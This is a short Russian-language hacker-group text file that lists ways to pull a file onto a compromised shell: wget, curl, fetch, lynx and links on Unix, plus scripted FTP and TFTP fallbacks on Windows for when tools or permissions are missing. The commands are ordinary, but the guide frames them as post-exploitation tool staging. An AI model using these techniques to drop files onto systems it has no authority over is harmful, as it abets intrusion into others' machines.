================================================== ==============================
E1it3 Team
================================================== ==============================
Get file *nix and win commands
================================================== ==============================
date: n\a [by 007NOT@] E1it3.TrueNET.net.ru
--------------------------------------------------------------------------------
Как скачать...
Очень часто стал замечать что люди не могут скачать файл из инета на шелл

Unix.
В unix системах (linux,*bsd,sunos) для скачивания файлов обычно используются качалки, всего их 5:
- wget
- curl
- fetch
- lynx
- links
Определить существует ли данная качалка можно командой which
[user@host] ~/tmp$ which wget
/usr/local/bin/wget
Пусть требуется скачать file.c с сайта site.ru в папку /tmp
- wget -o /tmp/file.c http://site.ru/file.c
- curl -o /tmp/file.c http://site.ru/file.c
- fetch -o /tmp/file.c http://site.ru/file.c
- lynx -source "http://site.ru/file.c" > /tmp/file.c
- links -source "http://site.ru/file.c" > /tmp/file.c
- GET http://site.ru/file.c > /tmp/file.c
Бывает что не одной из перечисленных качалок нет или не хватает прав для запуска

Тогда мы можем воспользоваться ftp =)
echo user password > /tmp/ftp
echo type binary >> /tmp/ftp
echo lcd /tmp >> /tmp/ftp
echo get file.c file.c >> /tmp/ftp
echo quit >> /tmp/ftp
ftp -n site.ru < /tmp/ftp
Win.
В форточках существует 2 вида скачивания файла:
- ftp
- tftp
Пусть требуется скачать file.exe с сайта ftp.site.ru
Сделаем это с помощь ftp сценария:
echo login > ftp.tmp
echo password >> ftp.tmp
echo get file.exe file.exe >> ftp.tmp
ftp -s:ftp.tmp ftp.site.ru
Tftp сервис является упрощённым ftp
Скачать сам сервер можно с офф сайта http://tftpd32.jounin.net
Скачивается файл командой:
tftp -i tftp_server_ip get file.exe
===============================
E1it3.TrueNet.Net.Ru by 007NOT@
===============================